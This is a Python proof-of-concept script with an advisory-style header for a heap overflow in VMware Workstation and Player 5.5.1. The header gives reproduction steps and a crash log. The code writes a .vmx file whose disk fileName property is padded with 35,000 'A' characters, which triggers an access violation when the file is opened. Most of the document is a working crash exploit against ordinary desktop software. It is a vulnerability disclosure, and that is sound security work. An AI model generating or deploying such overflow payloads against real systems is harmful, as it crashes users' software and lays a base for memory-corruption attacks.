"""
 VMWare VMX File Propertie Heap Overflow
 ---------------------------------------
 Environment  : VMWare Workstation & Player 5.5.1 build-19175 / WinXP Prof. SP2
 Discovered by: posidron <posidron|tripbit.net>
 
 VMWare Workstation
 To reproduce it, generate with this script the .vmx file. Open it. Click on
 "Start this virtual machine". If now no exception occurs, click on "Browse".

 VMWare Player
 Just open the file in VMWare Player and the exception will occur.


 Affected are all properties which takes a "fileName" as input, for example:
 scsi0:0.fileName = "<longString>"


vmui| Unhandled Win32 SEH exception
vmui| ----Win32 exception detected, exceptionCode 0xc0000005 (access violation)----
vmui| eip 0x62292fe0 eflags 0x00010293 rwFlags 0000000000 badAddr 0000000000
vmui| eax 0x0000000f ebx 0x02227c78 ecx 0x00000003 edx 0x00000003
vmui| esi 0000000000 edi 0x7afaf3ec ebp 0x7afaf3a8 esp 0x7afaf3a0
<snip>
vmui| Msg_Post: Error
vmui| [msg.log.error.unrecoverable] VMware Workstation unrecoverable error: (vmui)
vmui| Exception 0xc0000005 (access violation) has occurred.
vmui| ----------------------------------------
vmui| Exception caught; trying to exit app.
vmui| Exited abnormally.
"""

content =   'config.version = "8"\n' \
            'virtualHW.version = "4"\n'\
            'scsi0.present = "TRUE"\n'\
            'memsize = "160"\n'\
            'MemAllowAutoScaleDown = "FALSE"\n'\
            'scsi0:0.present = "TRUE"\n'\
            'scsi0:0.fileName = "'+"A"*35000+'Other Linux 2.4.x kernel.vmdk"\n'\
            'ide1:0.present = "TRUE"\n'\
            'ide1:0.fileName = "debian-31r1a-i386-businesscard.iso"\n'\
            'ide1:0.deviceType = "cdrom-image"\n'\
            'floppy0.present = "FALSE"\n'\
            'ethernet0.present = "TRUE"\n'\
            'ethernet0.connectionType = "nat"\n'\
            'usb.present = "TRUE"\n'\
            'sound.present = "TRUE"\n'\
            'sound.virtualDev = "es1371"\n'\
            'sound.fileName = "-1"\n'\
            'sound.autodetect = "TRUE"\n'\
            'displayName = "Debian 3.1"\n'\
            'guestOS = "other24xlinux"\n'\
            'nvram = "Other Linux 2.4.x kernel.nvram"\n'\
            'scsi0:0.redo = ""\n'\
            'ethernet0.addressType = "generated"\n'\
            'uuid.location = "56 4d 6b ca e4 be 20 d3-55 94 76 2c 3a d5 70 cd"\n'\
            'uuid.bios = "56 4d 6b ca e4 be 20 d3-55 94 76 2c 3a d5 70 cd"\n'\
            'tools.remindInstall = "TRUE"\n'\
            'ethernet0.generatedAddress = "00:0c:29:d5:70:cd"\n'\
            'ethernet0.generatedAddressOffset = "0"\n'\
            'ide1:0.startConnected = "TRUE"\n'\
            'checkpoint.vmState = ""\n'

vmx = open("Other Linux 2.4.x kernel.vmx", "w")
vmx.write(content)
vmx.close()	